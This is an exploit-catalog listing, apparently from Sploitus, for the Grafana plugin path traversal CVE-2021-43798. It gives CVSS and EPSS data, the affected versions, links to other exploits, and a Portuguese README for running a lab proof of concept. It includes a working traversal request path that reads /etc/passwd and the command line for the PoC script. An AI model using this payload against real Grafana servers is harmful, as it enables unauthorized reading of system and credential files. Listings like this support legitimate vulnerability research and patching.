Exploit for Path Traversal in Grafana

githubexploit · 2024-03-27

Description

Grafana Path Traversal Exploit

Entry point

ParameterpluginId · path

Path/public/plugins/alertlist/../../../../../../../../etc/passwd

Grafana directory traversal via /public/plugins/{pluginId}/ allows reading local files like /etc/passwd

Affected Grafana versions

Grafana< 8.0.7, 8.1.8, 8.2.7, 8.0.0, 8.3.0

All known vulnerabilities by product

Alt Linux Grafana Suse

CVSS 7.5 for CVE-2021-43798

7.5

HIGH SEVERITY

Version 3.1

VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Attack Vector:NETWORK

Attack Complexity:LOW

Privileges Required:NONE

User Interaction:NONE

Scope:UNCHANGED

Confidentiality:HIGH

Integrity:NONE

Availability:NONE

Working code

49%confidence this exploit runs

Based on 3 file(s) in the source

EPSS Score

88.8%higher than 99.8% of all CVEs

Updated 2026-06-16

Exploit Details

Modified:2024-03-27 21:57

Last Seen:2025-08-31 21:55

Reporter:ticofookfook

Written in:Python

Last commit:2024-03-27

Tags

grafanapath traversalexploitCVE-2021-43798python3

Other exploits for CVE-2021-43798

Exploit for Path Traversal in Grafana

2026-07-24 sbimoxaGITHUB

Exploit for Path Traversal in Grafana

2026-06-02 Okymi-XGITHUB

Exploit for Path Traversal in Grafana

2026-05-26 AsbawyGITHUB

Exploit for Path Traversal in Grafana

2026-01-08 baktistrGITHUB

Exploit for Path Traversal in Grafana

2025-11-27 f3d0rqGITHUB

Exploit for Path Traversal in Grafana

2025-11-27 f3d0rqGITHUB

Exploit for Path Traversal in Grafana

2025-02-12 ravi5hankaGITHUB

Exploit for Path Traversal in Grafana

2025-01-26 davidr-ioGITHUB

Exploit Code

README12 lines

## https://sploitus.com/exploit?id=848D9A3C-BE04-5F08-B87B-6FA75714B3FE
Subir o lab

docker compose up -d 

Poc:

python3 CVE-2021-43798.py IP PORT



By: https://www.linkedin.com/in/steven-guimaraes-29aa79212/